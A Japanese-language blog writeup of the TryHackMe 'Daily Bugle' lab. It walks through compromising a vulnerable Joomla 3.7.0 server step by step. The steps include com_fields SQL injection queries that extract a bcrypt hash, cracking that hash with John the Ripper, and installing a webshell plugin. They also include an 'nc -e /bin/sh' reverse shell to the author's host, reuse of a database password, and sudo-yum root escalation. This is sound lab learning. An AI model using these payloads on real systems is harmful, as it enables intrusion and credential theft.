TryHackMe: Daily Bugle Writeup

TryHackMeのDaily Bugleのwriteupおよびメモ。

数日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。

Task 1: Deploy

Access the web server, who robbed the bank?

http://<target IP address>にブラウザでアクセスすると、DAILY BUGLEというニュースサイトの記事が現れた。

以下はニュース記事より抜粋。

The criminal we call "Spider-Man" is back at it, clearly as seen in the image, Spider-Man is nothing more than a criminal, and I have proof, Sure he saves people all the time for free with nothing in return, but a media company like this always has to exist.

答えはspiderman。(Spider-Manではない。ハイフンはなし。紛らわしい。)

Task2: Obtain user and root

What is the Joomla version?

手始めにnmapを走らせてみた。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ nmap -A 10.10.175.28                         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 10:09 EDT
Nmap scan report for 10.10.175.28
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
3306/tcp open  mysql   MariaDB (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.95 seconds

上記より以下のことが読み取れる。

  • WebサーバーにApache 2.4.6を使用している。
  • SSHサーバーにOpenSSH 7.4を使用している。
  • データベースにMySQLを使用している。

さらにrobots.txtのdisallowedリストにJoomla関連のディレクトリが指定されていた。

| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/

ググってみたところ/administrator/manifests/files/joomla.xmlにアクセスすればJoomlaのバージョンが分かるらしい。

以下は/administrator/manifests/files/joomla.xmlの内容。

<extension version="3.6" type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>
(C) 2005 - 2017 Open Source Matters. All rights reserved
</copyright>
<license>
GNU General Public License version 2 or later; see LICENSE.txt
</license>
<version>3.7.0</version>
<creationDate>April 2017</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
<scriptfile>administrator/components/com_admin/script.php</scriptfile>
<update>
<schemas>
</schemas>
</update>
<fileset>
<files>
<folder>administrator</folder>
<folder>bin</folder>
<folder>cache</folder>
<folder>cli</folder>
<folder>components</folder>
<folder>images</folder>
<folder>includes</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>libraries</folder>
<folder>media</folder>
<folder>modules</folder>
<folder>plugins</folder>
<folder>templates</folder>
<folder>tmp</folder>
<file>htaccess.txt</file>
<file>web.config.txt</file>
<file>LICENSE.txt</file>
<file>README.txt</file>
<file>index.php</file>
</files>
</fileset>
<updateservers>
<server name="Joomla! Core" type="collection">https://update.joomla.org/core/list.xml</server>
</updateservers>
</extension>

<version>3.7.0</version>より、使用しているJoomlaのバージョンは3.7.0と判明した。

What is Jonah's cracked password?

公式のヒントによると、SQLインジェクションとJohn The Ripperを用いてパスワードをクラックせよとのこと。

先の設問で/administrator/manifests/files/joomla.xmlを覗いた際にadministratorというフォルダ名を発見したので、http://<target IP address>/administratorにアクセスしたところ、Joomla管理者用のログインページが現れた。

定番のユーザー名とパスワード (admin:admin)でログインできるか試してみたが、ダメだった。
ほかにも単純なSQLインジェクションのペイロード (' or '1' = '1' /* 等)をログインフォームに送ってみたが、こちらもダメだった。

searchsploitでJoomlaバージョン3.7.0に使えるエクスプロイトがないか確認してみた。

┌──(kali㉿kali)-[~]
└─$ searchsploit Joomla 3.7                                                                
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Joomla! 3.7 - SQL Injection                                                                                                                                                      | php/remote/44227.php
Joomla! 3.7.0 - 'com_fields' SQL Injection                                                                                                                                       | php/webapps/42033.txt
Joomla! Component ARI Quiz 3.7.4 - SQL Injection                                                                                                                                 | php/webapps/46769.txt
Joomla! Component com_realestatemanager 3.7 - SQL Injection                                                                                                                      | php/webapps/38445.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting                                                                                                                    | php/webapps/43488.txt
Joomla! Component J2Store < 3.3.7 - SQL Injection                                                                                                                                | php/webapps/46467.txt
Joomla! Component JomEstate PRO 3.7 - 'id' SQL Injection                                                                                                                         | php/webapps/44117.txt
Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download                                                                                                         | php/webapps/43913.txt
Joomla! Component Quiz Deluxe 3.7.4 - SQL Injection                                                                                                                              | php/webapps/42589.txt

いくつか使えそうなエクスプロイトが見つかった。

試しにphp/remote/44227.phpを使用することにした。まずはphp/remote/44227.phpの所在を確認。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ sudo find / -name 44227.php 2>/dev/null
/usr/share/exploitdb/exploits/php/remote/44227.php

44227.phpは入力フォームに指定された標的マシンに対してSQLインジェクションを行うスクリプトである。

44227.phpをKali Linuxのドキュメントルートにコピーして、http://localhost/44227.phpにアクセスし、入力フォームに標的マシンのIPアドレスを入力してエクスプロイトを実行したが、何も起きなかった。

仕方がないので、44227.phpに記載されているSQLインジェクションのペイロードを手直ししつつ、手動で実行することにした。

以下のクエリはデータベースのテーブル名をHex形式で抽出する。

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,hex(table_name),0x7e7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))=1

以下はサーバーからの応答。

XPATH syntax error: ' ~~~6662396A355F617373657473~~~' 
$ echo -n 6662396A355F617373657473 | xxd -r -p
fb9j5_assets

テーブル名はfb9j5と判明した。

以下のクエリはfb9j5_usersからユーザー名 (先頭20文字まで)を抽出する。

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(username,1,20),0x7e7e7e)/**/from/**/fb9j5_users/**/limit/**/0,1)))=1

以下はサーバーからの応答。

XPATH syntax error: ' ~~~jonah~~~' 

ユーザー名jonahを確認できた。

以下のクエリはfb9j5_usersからパスワードの先頭70文字を抽出する。

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/substring(password,1,70)/**/from/**/fb9j5_users/**/limit/**/0,1)))=1

以下はサーバーからの応答。

XPATH syntax error: ' $2y$10$0veO/JSFh4389Lluc4Xya.df'

どうやらパスワードはハッシュ化されている模様。

$2y$10$0veO/JSFh4389Lluc4Xya.dfをJohn The Ripperでクラックしようとしたが失敗した。

色々試したところ、どうやら$2y$10$0veO/JSFh4389Lluc4Xya.dfは完全なハッシュ値ではないらしいことが分かった。

先のクエリでパスワードの先頭70文字を抽出するよう指定したが、実際に応答されたのは31文字だった。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ echo -n '$2y$10$0veO/JSFh4389Lluc4Xya.df' | wc -c
31

どうやらサーバーから一度に応答できる文字数は限られている模様。

別のクエリを送って、ハッシュ値の残りを取得することにした。

以下のクエリはfb9j5_usersからパスワード (ハッシュ値)の32文字目から70文字目を抽出する。

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/substring(password,32,70)/**/from/**/fb9j5_users/**/limit/**/0,1)))=1

以下はサーバーからの応答。

XPATH syntax error: ' y2MF.bZhz0jVMw.V.d3p12kBtZutm'
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ echo -n 'y2MF.bZhz0jVMw.V.d3p12kBtZutm' | wc -c  
29

29文字のハッシュ値が応答された。

先のクエリの結果と合わせると、完全なハッシュ値は$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutmとなる。

ハッシュ値をJohn The Ripperでクラックしたところ、パスワードはspiderman123と判明した。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ cat hash.txt                      
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm


┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt                         
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123     (?)     
1g 0:00:03:40 DONE (2024-03-24 10:18) 0.004537g/s 212.5p/s 212.5c/s 212.5C/s thelma1..speciala
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

What is the user flag?

せっかく前回の設問でユーザーの認証情報を入手したのに、何故か自分は当初、「SQLインジェクション攻撃でフラグを入手する!」という考えに囚われていて、引き続きSQLインジェクション攻撃による情報漏洩を試みていた。

しかし、一向に上手くいかず、ようやく入手したユーザーの認証情報を活用するという考えに思い至った。

Joomlaの管理者用ログインページhttp://<target IP address>/administratorにアクセスし、入手したユーザー認証情報 (Jonah:spiderman123)を入力したところ、管理者としてログインできた。

管理者用コンソールを一通りチェックしてみたが、フラグらしき情報は見つからなかった。

なので、webサーバー侵害の定番、webshellをアップロードして、そこからコマンドを実行してみることにした。

最初は画像のアップロードページから自前の簡単なwebshellをアップロードしようとしたのだが、どうやら画像ファイル以外はアップロードできないようだった。

「Joomla webshell」でググってみたところ、Joomla用のwebshellプラグインを発見したので、これを利用することにした。

以下はアップロードの手順。

まずはwebshellプラグインをKali Linuxにダウンロード。

git clone https://github.com/p0dalirius/Joomla-webshell-plugin.git
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle/Joomla-webshell-plugin]
└─$ ls -la
total 44
drwxr-xr-x 7 kali kali 4096 Mar 26 09:54 .
drwxr-xr-x 3 kali kali 4096 Mar 26 09:54 ..
-rwxr-xr-x 1 kali kali 4756 Mar 26 09:51 console.py
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 dist
drwxr-xr-x 8 kali kali 4096 Mar 26 09:51 .git
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 .github
-rw-r--r-- 1 kali kali  352 Mar 26 09:51 Makefile
drwxr-xr-x 4 kali kali 4096 Mar 26 09:51 plugin
-rw-r--r-- 1 kali kali 3624 Mar 26 09:51 README.md
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 test_env

┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle/Joomla-webshell-plugin]
└─$ ls -la plugin        
total 24
drwxr-xr-x 4 kali kali 4096 Mar 26 09:51 .
drwxr-xr-x 7 kali kali 4096 Mar 26 09:54 ..
drwxr-xr-x 3 kali kali 4096 Mar 26 09:51 language
-rw-r--r-- 1 kali kali 2815 Mar 26 09:51 mod_webshell.php
-rw-r--r-- 1 kali kali 1395 Mar 26 09:51 mod_webshell.xml
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 tmpl

webshellプラグインの関連ファイルはpluginディレクトリに配置されているので、pluginディレクトリを丸ごとZIP圧縮し、Joomlaの管理コンソールからアップロードする。(Control Panel -> Install Extensions )

Manageよりプラグインがインストールされたことを確認。

HTTPのGETリクエスト経由でwebshellにコマンドを送る場合は、以下のようにする。

http://<target server>/modules/mod_webshell/mod_webshell.php?action=exec&cmd=<your command>

試しにwhoamiコマンドを送ってみた。

/modules/mod_webshell/mod_webshell.php?action=exec&cmd=whoami

以下はサーバーからの応答。現在のユーザー名はapacheであることが判明した。

{"stdout":"apache\n","stderr":"","exec":"whoami"}

このままでもコマンドは実行できるが、GETリクエストにひとつずつコマンドを乗せていくのは面倒なので、webshellからReverse shellを起動して、以降のコマンドはReverse shell経由で実行することにした。

まずはKali Linuxの1234番ポートでReverse shellから接続を待ち受ける。

nc -lvp 1234

続いて、webshellからKali Linuxに対してReverse shellを張る。

http://<target server>/modules/mod_webshell/mod_webshell.php?action=exec&cmd=nc -nv 10.9.221.71 1234 -e /bin/sh

Reverse shell経由で標的マシンに対してコマンドが実行できるようになった。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ nc -lvp 1234
listening on [any] 1234 ...
10.10.9.62: inverse host lookup failed: Unknown host
connect to [10.9.221.71] from (UNKNOWN) [10.10.9.62] 49044
id
uid=48(apache) gid=48(apache) groups=48(apache)
whoami
apache

/home以下にjjamesonというディレクトリを発見したが、jjameson(とroot)のみが閲覧可能となっていた。

ls -l /home
total 0
drwx------. 2 jjameson jjameson 99 Dec 15  2019 jjameson

su jjamesonjjamesonに切り替わろうとしたが、認証パスワードがspiderman123とは異なったため、切り替われなかった。

過去のwriteupを振り返りつつ、権限昇格に利用できそうなコマンドなりファイルなりが無いか確認してみたが、利用できそうなものはなかった。

ここで行き詰ってしまったので、他所のwriteupを覗いてみた。

どうやら/var/www/html/configuration.phpに手掛かりがあるらしい。

cd /var/www/html
ls -la
total 64
drwxr-xr-x. 17 apache apache  4096 Dec 14  2019 .
drwxr-xr-x.  4 root   root      33 Dec 14  2019 ..
-rwxr-xr-x.  1 apache apache 18092 Apr 25  2017 LICENSE.txt
-rwxr-xr-x.  1 apache apache  4494 Apr 25  2017 README.txt
drwxr-xr-x. 11 apache apache   159 Apr 25  2017 administrator
drwxr-xr-x.  2 apache apache    44 Apr 25  2017 bin
drwxr-xr-x.  2 apache apache    24 Apr 25  2017 cache
drwxr-xr-x.  2 apache apache   119 Apr 25  2017 cli
drwxr-xr-x. 19 apache apache  4096 Apr 25  2017 components
-rw-r--r--   1 apache apache  1982 Dec 14  2019 configuration.php
-rwxr-xr-x.  1 apache apache  3005 Apr 25  2017 htaccess.txt
drwxr-xr-x.  5 apache apache   164 Dec 15  2019 images
drwxr-xr-x.  2 apache apache    64 Apr 25  2017 includes
-rwxr-xr-x.  1 apache apache  1420 Apr 25  2017 index.php
drwxr-xr-x.  4 apache apache    54 Apr 25  2017 language
drwxr-xr-x.  5 apache apache    70 Apr 25  2017 layouts
drwxr-xr-x. 11 apache apache   255 Apr 25  2017 libraries
drwxr-xr-x. 26 apache apache  4096 Apr 25  2017 media
drwxr-xr-x. 28 apache apache  4096 Apr  1 08:26 modules
drwxr-xr-x. 16 apache apache   250 Apr 25  2017 plugins
-rwxr-xr-x.  1 apache apache   836 Apr 25  2017 robots.txt
drwxr-xr-x.  5 apache apache    68 Dec 15  2019 templates
drwxr-xr-x.  2 apache apache    24 Apr  1 08:26 tmp
-rwxr-xr-x.  1 apache apache  1690 Apr 25  2017 web.config.txt
cat configuration.php
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
        public $sitename = 'The Daily Bugle';
        public $editor = 'tinymce';
        public $captcha = '0';
        public $list_limit = '20';
        public $access = '1';
        public $debug = '0';
        public $debug_lang = '0';
        public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'root';
        public $password = 'nv5uz9r3ZEDzVjNu';
        public $db = 'joomla';
        public $dbprefix = 'fb9j5_';
        public $live_site = '';
        public $secret = 'UAMBRWzHO3oFPmVC';
        public $gzip = '0';
        public $error_reporting = 'default';
        public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
        public $ftp_host = '127.0.0.1';
        public $ftp_port = '21';
        public $ftp_user = '';
        public $ftp_pass = '';
        public $ftp_root = '';
        public $ftp_enable = '0';
        public $offset = 'UTC';
        public $mailonline = '1';
        public $mailer = 'mail';
        public $mailfrom = 'jonah@tryhackme.com';
        public $fromname = 'The Daily Bugle';
        public $sendmail = '/usr/sbin/sendmail';
        public $smtpauth = '0';
        public $smtpuser = '';
        public $smtppass = '';
        public $smtphost = 'localhost';
        public $smtpsecure = 'none';
        public $smtpport = '25';
        public $caching = '0';
        public $cache_handler = 'file';
        public $cachetime = '15';
        public $cache_platformprefix = '0';
        public $MetaDesc = 'New York City tabloid newspaper';
        public $MetaKeys = '';
        public $MetaTitle = '1';
        public $MetaAuthor = '1';
        public $MetaVersion = '0';
        public $robots = '';
        public $sef = '1';
        public $sef_rewrite = '0';
        public $sef_suffix = '0';
        public $unicodeslugs = '0';
        public $feed_limit = '10';
        public $feed_email = 'none';
        public $log_path = '/var/www/html/administrator/logs';
        public $tmp_path = '/var/www/html/tmp';
        public $lifetime = '15';
        public $session_handler = 'database';
        public $shared_session = '0';
}

configuration.phpnv5uz9r3ZEDzVjNuというパスワードがハードコードされていた。

su jjamesonを実行し、パスワードにnv5uz9r3ZEDzVjNuを指定したところ、jjamesonに切り替われた。

su jjameson
nv5uz9r3ZEDzVjNu
whoami
jjameson
id
uid=1000(jjameson) gid=1000(jjameson) groups=1000(jjameson)

/home/jjamesonuser.txtというファイルを発見した。このファイルにフラグが記載されていた。

cd /home/jjameson

ls -la
total 16
drwx------. 2 jjameson jjameson  99 Dec 15  2019 .
drwxr-xr-x. 3 root     root      22 Dec 14  2019 ..
lrwxrwxrwx  1 jjameson jjameson   9 Dec 14  2019 .bash_history -> /dev/null
-rw-r--r--. 1 jjameson jjameson  18 Aug  8  2019 .bash_logout
-rw-r--r--. 1 jjameson jjameson 193 Aug  8  2019 .bash_profile
-rw-r--r--. 1 jjameson jjameson 231 Aug  8  2019 .bashrc
-rw-rw-r--  1 jjameson jjameson  33 Dec 15  2019 user.txt

cat user.txt
27a260fe3cba712cfdedb1c86d<REDACTED>

What is the root flag?

sudo -lを叩いてみた。

sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

jjamesonsudo付きで実行できるコマンドはyumのみだった。

yumsudo付きで実行できる場合、シェルをroot権限で起動できるらしい。

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

echo $TF
/tmp/tmp.wfmOyGiQEy

ls $TF
x
y.conf

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
whoami
root

GTFOBinsで紹介されていたコマンドをコピペしたところ、シェルがroot権限で起動した。

先の設問でユーザーのフラグがuser.txtに記載されていたのを受けて、決め打ちでroot.txtというファイルを探してみたところ、/root/root.txtを発見した。

find / -name root.txt 2>/dev/null
/root/root.txt

cat /root/root.txt
eec3d53292b1821868266858<REDACTED>

Leave a Reply

Your email address will not be published. Required fields are marked *